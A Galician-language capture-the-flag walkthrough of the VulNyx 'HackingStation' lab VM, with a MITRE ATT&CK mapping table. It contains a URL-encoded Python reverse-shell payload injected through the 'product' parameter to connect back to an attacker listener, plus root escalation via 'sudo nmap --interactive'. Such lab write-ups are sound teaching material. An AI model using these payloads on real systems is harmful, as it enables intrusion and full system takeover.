Hackingstation
Máquina virtual HackingStation


A máquina HackingStation é moi interesante porque...
- Command Injection directo no parámetro GET product
- Reverse shell en Python inxectado na URL
- Escalada mediante nmap en modo interactivo (--interactive)
- Técnica clásica de abuso de nmap con sudo
Diagrama de ataque

Fase 1 — Recopilación
sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_HackingStation -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_HackingStation # 22,80
whatweb IP_VulNyx_HackingStation
curl -I IP_VulNyx_HackingStation
Fase 2 — Análise
# Análise da aplicación web
firefox http://IP_VulNyx_HackingStation &
# Campo de busca identificado
# Proba de inxección de comandos no campo de busca
# Parámetro vulnerable: product
Fase 3 — Explotación
# Preparamos listener no atacante
nc -nlvp 4444
# Payload de command injection con reverse shell Python
# URL: http://IP_VulNyx_HackingStation/exploitQuery.php?product=subversion%2012;python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22IP_Atacante%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27
firefox "http://IP_VulNyx_HackingStation/exploitQuery.php?product=subversion%2012;python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22IP_Atacante%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27" &
# ⇒ Conseguimos reverse shell como usuario XXXXXXXXX (flag user.txt)
Fase 4 — Post‑explotación
# Enumeración de permisos sudo
sudo -l
# User XXXXXXXXX may run the following commands on hackingstation:
# (root) NOPASSWD: /usr/bin/nmap
# Consulta en GTFOBins(https://gtfobins.github.io/) para nmap
# Explotación de nmap con sudo (modo interactivo)
sudo /usr/bin/nmap --interactive
nmap> !sh
# ⇒ Conseguimos shell de root
# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida
Correspondencia de fases → MITRE ATT&CK — VulNyx: HackingStation
| Fase | Acción / Resumo | Vector principal | MITRE ATT&CK (IDs) | CWE(s) (relevantes) |
|---|---|---|---|---|
| 1. Recopilación | Descubrimento de host e servizos expostos | Scanning / descubrimento de servizos | T1595 — Active Scanning T1046 — Network Service Discovery |
CWE-200 — Information Exposure (reconnaissance) |
| 2. Análise | Identificación de campo de busca vulnerable | Input validation testing | T1190 — Exploit Public-Facing Application T1592 — Gather Victim Host Information |
CWE-20 — Improper Input Validation |
| 3. Explotación | Command injection mediante parámetro product | OS Command Injection | T1190 — Exploit Public-Facing Application T1059.006 — Command and Scripting Interpreter: Python |
CWE-78 — OS Command Injection |
| 4. Post-explotación | Enumeración de permisos sudo | Discovery local | T1069 — Permission Groups Discovery T1083 — File and Directory Discovery |
CWE-200 — Information Exposure |
| Abuso de nmap con sudo para escalada de privilexios | Abuso de mecanismos de elevación | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1059.004 — Command and Scripting Interpreter: Unix Shell |
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control |